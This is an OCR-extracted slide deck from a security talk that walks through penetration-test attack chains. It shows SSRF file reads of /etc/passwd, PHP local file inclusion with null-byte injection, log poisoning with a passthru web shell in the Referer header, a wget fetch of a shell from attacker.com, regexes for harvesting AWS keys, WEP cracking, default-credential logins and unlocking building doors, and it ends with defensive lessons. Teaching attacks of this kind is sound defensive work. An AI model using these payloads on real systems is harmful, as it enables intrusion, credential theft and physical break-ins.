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Pen Testing Scenario

* Web application penetration test

* Cloud-based infrastructure hosts multiple
sites

» Out-sourced PHP development to many
confractors

» Determine attackers ability to
compromise Pll or infrastructure
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Step 1 — Explore

Directory Stucture

Response Code

—ow

. (3 fags 200
E} B dir

B sharejs
P w1 slider.js
@-C3 css
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Step 2 — Read Code

http://vuln.com/dir/share. js

AJAX.Call ({ method:’POST’, url:’include/s proxy.php’

var params = {

|redirect url]:this.postURL,
'campaign’':this.campaignCode,
'ord':Math.ceil (Math.random() *1000000),
'email':$("shareEmail"™) .value,

'name':$ ('shareName') .value,
'femail':this.emails[this.emaillndex],
'fname':this.names[this.emailIndex],
'urlForemails' :shareURL
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Step 3 — Proxy?

http://vuln.com/dir/include/s proxy.php?
redirect url=http://www.google.com

<a href=//www.google.com/ id=g><img src=//www.google.com/images/logo sm.qgif alt=Google>
<p><b>405.</b> <ins>That’s an error.</ins>
<p>The request method <code>POST</code> is inappropriate for the URL <code>/</code>. <

4@ STACH&LIU
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Step 4 — Read Local Files!

http://vuln.com/dir/include/s proxy.php?
redirect url=file:///etc/passwd

root:x:0:0:root:/root:/bin/bash
2| bin:x:1:1:bin:/bin:/sbin/nologin
3 daemon:x:2:2:daemon:/sbin:/sbin/nologin
4| adm:x:3:4:adm:/var/adm: /sbin/nologin
5| 1p:x:4:7:1p:/var/spool/lpd:/sbin/nologin
8| sync:x:5:0:8ync:/sbin: /bin/sync
7| shutdown:x:6:0:shutdown: /sbin: /sbin/shutdown
2| halt:x:7:0:halt:/sbin:/sbin/halt
3/mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10 news:x:9:13:news:/etc/news:
i|uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12| operator:x:11:0:0operator:/root:/sbin/nologin
13| games:x:12:100:games: /usr/games: /sbin/nologin
14| gopher:x:13:30:gopher: /var/gopher:/sbin/nologin
5| ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
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Attack Chaining — Maneuver 1

} A) Determine sitemap with DirBuster | Look for interesting file names and dangerous functionality

Attack Chain 1 ‘

N

’ B) Identify Proxy functionality |-, Determine has the ability to read external and local files
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Attack Chaining — Maneuver 1
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Step 5 — Gather More Info

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/conf/httpd.conf

4| # | general settings
5| ServerAdmin
= ServerRoot "/etc/httpd/" 0
7| Listen 80 dh -t f d :
2 | UseCanonicalName Off ~ o re a e e OrO
3| PidFile run/httpd.pid
: /C' o % 1 (—J
11| # | httpd options (/4 Mandriva @*CEU’DL@D
12| User apache
12 | Group apache
14| ServerSignature Off
15| ServerTokens Prod

"8 STACH&LIU
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Step 6 — Keep Going...

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/conf/virtual.conf

8 STACH&LIU
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Step 6 — Keep Going...

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/conf/virtual.conf

<VirtualHost *>
ServerName vuln.com
DocumentRoot

ErrorLog logs/vuln.com error log
</VirtualHost>
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Step 7 — Back to DirBuster

Response Code

#-C3 includes 200
#-C3 modules 200
------ ] phpinfo.php 200
@-C3 scripts

4@ STACH&LIU
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Step 8 — Review Code

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///var/www/sites/vuln.com/
docroot/dir/include/controller.php

& STACH&LIU
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Step 8 — Review Code

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///var/www/sites/vuln.com/
docroot/dir/include/controller.php

<?php
require once('includes/config.php');

Smodule = l!empty (S REQUEST['module']) ? $ REQUEST['module']
Sconfig['module'];
$action = l!empty($ REQUEST['action']) ? $ REQUEST['action']

Sconfig['action'];
= 'modules/'.Smodule.'/'.Saction.'.php';
include ( )
exit;
7>

% STACH&LIU
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Attack Chaining — Maneuver 2

Attack Chain 1

A) Determine sitemap with DirBuster

L‘ Look for interesting file names and dangerous functionality

B) Identify Proxy functionality

—{ Determine has the ability to read external and local files

C) Read sensitive files

—1 Cather configuration information and map local files with read access

—— D) Identify PHP Local File Include

L{ Execute code from locally stored PHP scripts

48 STACH&LIU
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Attack Chaining — Maneuver 2
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Step 9

— Null Byte Injection

http://vuln.com/dir/include/controller.php

?module=

S ). . /etec/passwd300

1| root:x:0:0:ro0t:/root:/bin/bash

2| halt:x:7:0:halt:/sbin:/sbin/halt

10 news:x:9:13:news:/etc/news:
1| uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

F R A N |[K |NULk e £ |w
46y, 52, 41, 4Ep, 4By, 00y, 6By, 65, 665 77

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm: /sbin/nologin
1p:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:8ync:/sbin:/bin/sync
shutdown:x:6:0:shutdown: /sbin: /sbin/shutdown

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: /usr/games: /sbin/nologin
gopher:x:13:30:gopher: /var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

% STACH&LIU

23



Step 8 — Review Code

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///var/www/sites/vuln.com/
docroot/dir/include/controller.php

<?php
require once('includes/config.php');

Smodule = l!empty (S REQUEST['module']) ? $ REQUEST['module']
Sconfig['module'];
$action = l!empty($ REQUEST['action']) ? $ REQUEST['action']

Sconfig['action'];
= 'modules/'.Smodule.'/'.Saction.'.php';
include ( )
exit;
2>

% STACH&LIU
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Step 10 — Review Gathered Info

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/conf/virtual.conf
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Step 10 — Back to Virtual Cont

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/conf/virtual.conf

<VirtualHost *>
ServerName vuln.com
DocumentRoot /var/www/sites/vuln.com/docroot
ErrorlLog

</VirtualHost>
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Step 11 — Where To Stick It2

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/logs/vuln.com
error log

[error] [client 10.10.65.18] File does not exist:
/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat.jpg, referer:

http://www.vuln.com/

o STACH&LIU -



Step 12 — Poison Logs

Fiddler - Details View

[] Filters =] Log “— Timeline

() statistics 5% Inspectors 4 AutoResponder & Composer

Use this pageto compose a HTTP Request. You can clone a prior request by
dragging and droppinga session from the Web Sessionslist.

Options

GET v nww.vuln.com/wp-content/themes/lulzcat-attack.jpg HTTP/1.1 v

Request Headers [Upload file...] Help...

User-Agent: Fiddler -
Referer: <? echo '<pre>";passthru(\$_GET[cmd);echo '<pre>"; 7>
host: www.vuln.com|

& STACH&LIU
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Step 12 — Poison Logs

Fiddler - Details View E
[] Filters E] Log “— Timeline
() statistics 5% Inspectors 4 AutoResponder & Composer

Use this pageto compose a HTTP Request. You can clone a prior request by
dragging and droppinga session from the Web Sessionslist.

Parsed Options

GET v nww.vuln.com/wp-content/themes/lulzcat-attack.jpg HTTP/1.1 v

Request Headers [Upload file...] Help...

User-Agent; Fi PA
Referer:i<? echo "<pre >';passthru(\§= GET['emd’);echo '<pre>'; 2>
host: www.vuln.com|
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Step 12 — Poison Logs

<?

echo '<pre>';
passthru(\$ GET['cmd']);
echo '</pre>';

?>

8 STACH&LIU
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Step 13 — PHP in the Log

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/logs/vuln.com
error log

[error] [client 10.10.65.18] File does not exist:
/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat. jpg,

referer: http://www.vuln.com/

o STACH&LIU



Step 13 — PHP in the Log

http://vuln.com/dir/include/s proxy.php
?redirect url=file:///etc/httpd/logs/vuln.com
error log

[error] [client 10.10.65.18] File does not exist:
/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat. jpg,

referer: http://www.vuln.com/

[error] [client 10.10.65.18] File does not exist:
/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat-attack. jpg,

referer: <? echo '<pre>';passthru (\

$ GET['cmd']) ;echo '<pre>'; ?>
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Step 14 — Execute Code

http://vuln.com/dir/include/controller.php
*module=/../.. /.. /.. /.. /../../../etc/httpd/
logs/vuln.com error log%00&cmd=ls;

/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat-attack.jpg, referer:

controller.php

example.php

includes

modules

phpinfo.php

48 STACH&LIU
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Step 14 — Execute Code

)/ \ 4

<?

echo '<pre>';
passthru('1ls');
echo '</pre>';
?2>

/var/www/sites/vuln.com/docroot/wp-content/themes/
lulzcat-attack.jpg, referer:

controller.php

example.php

includes

modules

phpinfo.php

& STACH&LIU
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Attack Chaining — Maneuver 3

\

/| A) Determine sitemap with DirBuster |®

/

.': { B) Identify Proxy functionality

|/
|/

J
[f

[ A C) Read sensitive files

o
&

o
&®

Attack Chain 1

o
&

D) Identify PHP Local File Include

| { E) Null Byte Injection to control LFI file extension }

| Load any local file with read-access for evaluation as PHP

'.' "\{ F) Identify areas that write user input to the file system } \ Determined URL and Referer header is written to the error log

i

C) Poison error log with PHP script that executes arbitrary commands |- Execute Is command to verify command execution

& STACH&LIU
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Attack Chaining — Maneuver 3
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Step 15 — Upload Shell

http://vuln.com/dir/include/controller.php

?module=/../../../../../../../../etc/httpd/
logs/vuln.com error log%00&cmd=wget%20http://
attacker.com/gny.php;
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Step 16 — Enjoy!

Apache.

Kernel: Linux 2.6.18-194.26.1.el5.centos.plus #1 SMP Wed Nov 10
12:04:55 EST 2010 x86_64

uid=48(apache) gid=48(apache) groups=48(apache)

Free 36.33 GB of 100 GB (36.33%)
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Step 1/ — | want more!

ec2["\d] ["'] [A-20-9]{20}[""]

ec2.*["'"][A-Z20-9]1{20}[""'] ["'"][A-Za-z0-9+/]7{40}[""']
ec2.*["'"][A-Z20-91{20}[""']

ec2 (\D) *[" '] [A-20-9]{20}[""]

amazon.*["'"] [A-Z0=-9] {20} [" "]
(amazon|ec?2) .*[" "] [A-Z0-9]1 {20} [" "]

amazon (\D) *[" "] [A-Z0-9] {20} [" "]

access secret ["'][A-Z0-91{20}["'] [A-Za-z0-9+/1{40}
amazon.* ["'] [A-Z0-91 {20} ["'"].*[""] [A-Za-z0-9+/] {40} [""']
aws.*["'][A-Z20-9]1 {20} ["'] ["'"]1[A-Za-z0-9+/]1{40}[""']
amazon.* ["'] [A-Z0-91{20}["'] ["'][A-Za-z0-9+/1{40}[""]
secret.*["'] [A-Za-z0-9+/1 {40} [""]

["'] [A-Za-z0-9+/] {40} [""'].*amazon

8 STACH&LIU



Step 18 — Amazon AWS Regex

Sthis->amazonService = new Zend_Service_Amazon('DB3BAD768F2F11C7628/,
Saws_key = '8AFB5AF55D1E6620EE1’;

define('AMAZON_KEY', '372B8E408D1484C538F');

if (!defined('awsAccessKey')) define('awsAccessKey', '9F6EB7471C926194884");
//if (defined('awsAccessKey')) define('awsAccessKey', '4CAD89B86344CD8C26C');

define(' AMAZON_AES_ACCESS_KEY_ID', '95C95B8DC84AA24COEC');

8 STACH&LIU
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Step 19 — AWS Takeover

| || Blasticfox | =
@ Regions ‘ us-east-1 v | O Credentials | EC2
Instances | Images KeyPairsI Security Groups I Elastic IPs I Volumes and Snapshotsl Bundle Tasks l Availability Zonesl Reserv
Images
QOO O [NoFiter_ -
ID #  Manifest State Owner Visibility Archite... Platform Tag
aki-008... karmic-kernel-zul/ubuntu... available 099720109477 public 1386
aki-008... karmic-kernel-zul/ubuntu... available 099720109477 public 1386
aki-00f... karmic-kernel-zul/ubuntu... available 099720109477 public 1386
aki-03e... canconical-cloud-us/vmlin... available 099720109477 public x86_64
aki-07c... ubuntu-kernels-sandbox-... available 099720109477 public x86_64
aki-084... canconical-cloud-test/vmli... available 099720109477 public 1386
aki-0d9... oracle_linux_kernels/2.6.18... available 725966715235 public x86_64
aki-Odc... ubuntu-kernels-sandbox-... available 099720109477 public 1386
aki-13c... karmic-kernel-zul/test-ker... available 099720109477 public 1386
aki-13d... ubuntu-images-sandbox/... available 099720109477 public x86_64

& STACH&LIU
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Step 20 — Make It Your Own

c1L00Inc LLual

Remotely accessing the
new serverinstance
launched in the cloud

Heavy Utilization Reserved Instances

______ Region: US East (Virginia) =
1yrTerm 3yrTerm
release-up ) Y Upfront Hourly Upfront Hourly
B Cluster GPU Reserved Instances
} Quadruple Extra Large $6830 $0.794 per Hour $0.794 per Hour
Linux/UNIX Usage Windows Usage
Cluster GPU Instances
Quadruple Extra Large [$2.100 per Hour| | $2.600 per Hour |

"8 STACH&LIU



Cost of Amazon Cloud Compromise

1. Found 8 Amazon Secret Keys to access Amazon S3
2. Found that 2 of the 8 have administrator access to

Amazon EC2




Take Them Off The Web

1. Found 8 Amazon Secret Keys to access Amazon S3
2. Found that 2 of the 8 have administrator access to

Amazon EC2




Attack Chaining — Hack Fu

/| A) Determine sitemap with DirBuster

P
&

@
&

( 1 B) Identify Proxy functionality

P
8

| | ©) Read sensitive files

P
&

Y4 D) Identify PHP Local File Include
|

P
&

) '/- E) Null Byte Injection to control LFI file extension

Attack Chain 1 }»

/| - F) Identify areas that write user input to the file system

o
&

\ ~ G) Poison error log with PHP script that executes arbitrary commands |®

\ \ I) Target sensitive infrastructure credentials ’—\ Grep for Amazon AWS keys

J) Compromise systems and data ’ - Collect admin credentials and deploy new systems to the AWS cloud

4@ STACH&LIU
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Attack Chaining — Hack Fu

© 0000 °

©0-"00°©®
CICAVICIICIE)
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Why Is This Happening?

1. local File Include 4. Insecure Credential
* File Read Only Storage
«  Code Execution 5. Overly Permissive
2. Null Byte Injection Amazon AWS Keys
3. log Poisoning 6. Sensitive Information
Disclosure

8 STACH&LIU



\

Web > Mass Malware Deployment

- Compare session cookie before and after login

A) Session Fixation

/

J
| Use XSS to set a users session cookie

[ [ B) C ite Scrioti } [/ Use URL shorting service to help mask attack
1 ross-site Scriptin =
' /\ pting ) ‘.\ Post link on forums, support tickets, or emails

i '»‘\ Redirect user back to expected page after attack

Attack Chain 2 — C) Account Hijacking ’\ Wait for targeted user to login to the application

I\ D) Arbitrary File upload ’ \_ Identify file upload capability in the application

\\4 E) Client-side Validation Bypass ’ \_ Bypass the GWT client side authorization with a proxy

\| F) Mass Malware Distribution ’ - Use application functionality to distribute uploaded file to application customers

% STACH&LIU e



R

Web - Data Center Compromise

N\

| A) Arbitrary File Upload }\ Null byte injection to bypass file extension blacklist

J
J
J

". A B) Commnad Execution ’ -+ JSP command execution as root

\ |
.'A
Attack Chain 3 H— C) Hard-coded Database Credentails ’ \ Oracle DB credentials found in source code
/ 'll‘ ~ .
|

l" "\. |

D) Improper Network Segmentation ’ - Saa$ provider with no compartmentalization of client data

\
\

| E) Data Center Compromise ’

4@ STACH&LIU
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~

Web - Internal Network Compromise

| A) WAF Bypass [-_Change POST to GET

' A B) SQL Injection } +_ Inject to modify username field

1 C) 2nd Order Command Execution } \_ System call that utilizes username

— D) Arbitrary File Disclosure } \ Use command execution to write/read files

Attack Chain 4

~{ E) Insecure Remote Access } - Custom designed server management insecurely uses rsh

{ F) Insecure Sudo Configuration } \_ Web server user in the sudoers group and had permission to run as root without auth

| \| G) Unencrypted Credential Storage } \_ SSL keys and certificates accessible

\ H) DNS Zone Transfer } - Xfer on internal network DNS servers builds map for attackers next target

% STACH&LIU w0



\

Internal Assessment~> SSN & Bank #'s

{ A) Blank Local Admin Password }\ 1 system with no admin pass

™~

| A B) Cached Credentails } \_ Other users including domain admins cached hashes

N | C) Weak Password Hashes }\ LANMAN hashes in use throughout the network

Attack Chain 5

J e D) Insecure Firewall Rules ’ - No segregation between desktops and production database servers

| \| E) Weak Database Password } . Hash retrieved and cracked

e

{ F) Compromise SSNs and Bank Accounts

4@ STACH&LIU -
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Step 1 — Target Wireless

ess-network number="26" type="infrastructure" fir
last-time="Sun Dec 19 15:46:04 2010">
<SSID first-time="Sun Dec 19 15:35:03 2010" last

<type>Beacon</type>
<max-rate>63.000000</max-rate>
<packets>537</packets>
<beaconrate>l0</beaconrate>
<encryption>WEP OPN </encryption>
<essid cloaked="false"> </essid>
</551D>
<BSSID>00:23:69:79:1E:17</BSSID>
<manuf>Unknown</manuf>
<channel>ll</channel>
<fregmhz>2462 197%</fregmhz>

48 STACH&LIU
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Step 1 — Target Wireless

ess-network number="26" type="infrastructure" fir
last-time="Sun Dec 19 15:46:04 2010">
<SSID first-time="Sun Dec 19 15:35:03 2010" last
<type>Beacon</type>
<max-rate>63.000000</max-rate>
<packets>537</packets>
<beaconrate>10</beaconrate>
<encryption>WEP OPN </encryption>
<essid cloaked="false"> = </essid>
</SS1D>
<BSSID>00:23:69:79:1E:17</BSSID> .
<manuf>Unknown</manuf> Aircrack-ng 1.0
<channel>11</channel>
| <freqmhz>2462 1979</freqmhz> L o [00:00:06] Tested 1517621 keys (got 173842 IVs)
KB depth byte (vote)
0 o/ 1 31(224460) 1E(193808) 27(189664) 6€1(188900) 14(188452)
1 0/ 1 32(239432) 6€9(190276) 04(189556) C5(187528) 79(186948)
2 o/ 1 33(233484) 45(188240) E2(188208) 47(188040) C3(186536)
3 o/ 1 34 (229960) E6(192888) D5(191544) A0(191008) B9 (187652)
4 o/ 1 35(220768) €1(188992) 01(187048) F3(186692) 54(186564)
S 0/ 1 36(206904) 1C(188532) D6(188204) A6(187648) 6€4(187192)
6 0/ 1 37(216356) B3(188428) C5(188400) 42(187716) 0B(186300)
7 o/ 1 38(199464) CC(188076) 32(185988) A3(185012) 28(184808)
8 o/ 1 39(210528) BB8(196812) D7(191152) A6(188076) BA(186924)
9 0/ 1 31(215856) 87(190388) 3E(189404) 17(188172) 45(187700)
10 10/ 1 54 (185400) B8E(184936) 50(184700) F7(184640) EC(184540)
11 4/ 1 E6(186140) 6F(185548) 99(185420) 42(185416) EO0(185208)
12 0/ 12 5C(188764) FD(188476) 04(188388) Aan(188020) 85(186704)
KEY FOUND! [ 31:32:33:34:35:36:37:38:39:31:32:33:34 ] (ASCII: 1234567891234 )
Decrypted correctl 100%
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Step 2 — Port Scan

System ipP Port Service |
PBX in a flash 192.168.100.9 80/tcp HTTP
Linksys Wireless AP 192.168.100.27 | 80/tcp HTTP
Barracuda Spam & Virus FW 192.168.100.8 443/tcp HTTPS
BOSCH AEC 162.168.100.10 443/th HTTPS
DVR 192.168.100.40 | 554/tcp HTTP
1100/ tep
NAS cpen-e 192.168.100.20 | 443/tcp HTTPES
APC .31 | 80/tcp HTTP

Cisco

4@ STACH&LIU

23/tc

telnet
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Step 3 — Test Detault Creds

& STACH&LIU

System ip Port Service | User Password
PBX in a flash 192.168.100.9 80/tcp HTTP maint | password
Linksys Wireless AP 192.168.100.27 | 80/tcp HTTP admin
Barracuda Spam & Virus FW 192.168.100.8 443/tcp HTTPS admin | admin
BOSCH AEC 192.168.100.10 | 443/tcp HTTPS userl 8088

DVR 192.168.100.40 | 554/tcp HTTP admin | admin

1100/ tcp

NAS cpen-e 192.168.100.20 | 443/tcp HTTPS admin admin
APC 192.168.100.31 | 80/tcp HTTP apc apc
Cisco 182.168. 23/tc telnet cisco

56



Infrastructure Apocalypse
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tep 4 — Control AP

LINKSYS®

A Division of Cisco Systems, Inc. Frmware Version: 3

Wireless-G Access Point WAP34G

Wireless Administration Status

Setup Sotup

Network Setup | AP Mode

Network Setup

Administrator
can change all
configurable
\ WAP settings.

v

Device Name
Linksys WAPS4G

Configuration Type

IP Address : 192 |.|168 |.|100 |. |27
Subnet Mask : 255|.1255|.|2586|.|0

Default Gateway :

Save Settings Cancel Char

48 STACH&LIU



Step 5 — Read All E-mail

& STACH&LIU

Time:

From:

To:

Subject:

Size:

Action:

Reason:

Score:

Delivery Status:
Source IP:
Delivery Detail:
ID:

Message:

2010-12-19 14:47:04

et Lo e e S s b0 sanee s dlbagpe e ..
Wb et $1T e e
Re: Broadcasting licency/from ™+
107784
Allowed -- Any internal user
could abuse this
issue to read any
0.0 other user's email.
Delivered
e e - @
2502.6.0 <CC47F036-1C63-4414-8165-446

1292755612-376200020000-zxOUym
|

View Source

View Message View Bay:

yes from me

OnDec 19,2010, at 1244 PM. * & * wr

The final quote from the lawyer is AED [JJjfor
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Step 6 — Listen To VOIP
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Asterisk Phonebook Extension 3005 3005 Secretless than
Backup & Restore Extension 3006 3006 Secret less than 6 digits
cl "% employees with | Extension 3007 3007 Secret less than 6 digits
weak voice mailbox
passwords. Extension 3008 3008 Secret less than 6 digits
P
PHPAGI Config Extension
Extension
T ————

igi

Ability to update
password, change
notification settings,
Yolcamal Settings for T listen to stored voice
Call Honitor mail messages, and
‘ even monitorincoming
Language: w and outgoing calls.

Phone Features
Follow Me
Feature Codes

Password Settings Passwords must be aly§ fumbers and at least 3

Settings Voicemail Password: 0000

Enter again to confirm: ©00®
Logout
Notification Settings
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Step 7 — Open All Doors
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Step 7 — Open All Doors

O
®
©
®)
)
)
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Access Easy

() BOSCH

User Login
" Access Easy BOSCH
" - N
C Manual Control /" Administrators can

@ Inout Control

Door
& Description

Utility area Entrance

Main Entrance
Corridor Entrance
Staff entrance
Library Entrance
SERVER ROOM
READER 9
Reader 10

W N O s W N R

Door actually lock and
unlock doors into the
office, including the

"Main Entrance".

@ outoutcControl @

Current Status

Locked - Closed @) No Change .j:jV\lock () Momentarily Unlock
Locked - Closed @ No Change () Unlock ) Momentarily Unlock
Locked - Closed @ No Change (*) Unlock (*) Momentarily Unlock
Locked - Closed @ No Change () Unlock ) Momentarily Unlock
Locked - Closed @ No Change () Unlock (") Momentarily Unlock
Unlocked - Closed @) No Change () Lock () Momentarily Unlock
Locked - Closed @ No Change (*) Unlock (*) Momentarily Unlock
Unlocked - Closed @ No Change () Lock ) Momentarily Unlock
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Step /7 — Server Room Door
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s This Real Life?

1. Insecure Wireless 4. Weak Passwords
Eneryption 5. Sensitive Information
2. Improper Network Disclosure

Segmentation
3. Insecure Default
Configuration

8 STACH&LIU



Protection — How?e

1. People

2. Policy

3. Processes

4. Strategic / Tactical
Security

5. Defense In-Depth

Layers of Defense in Depth

& STACH&LIU
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Detense In-Depth
S PROTECTION AGAINST. ..

St

& STACH&LIU
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How Do You Get Bettere
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Synthesis and Patterns

CAN BEBOTH GOOD AND BAD

o 2
" 4
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Attack Visualization

LIKEBOBBY FISCHER
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Thank You 1| APPLAUSE

)

A

48 STACH&LIU




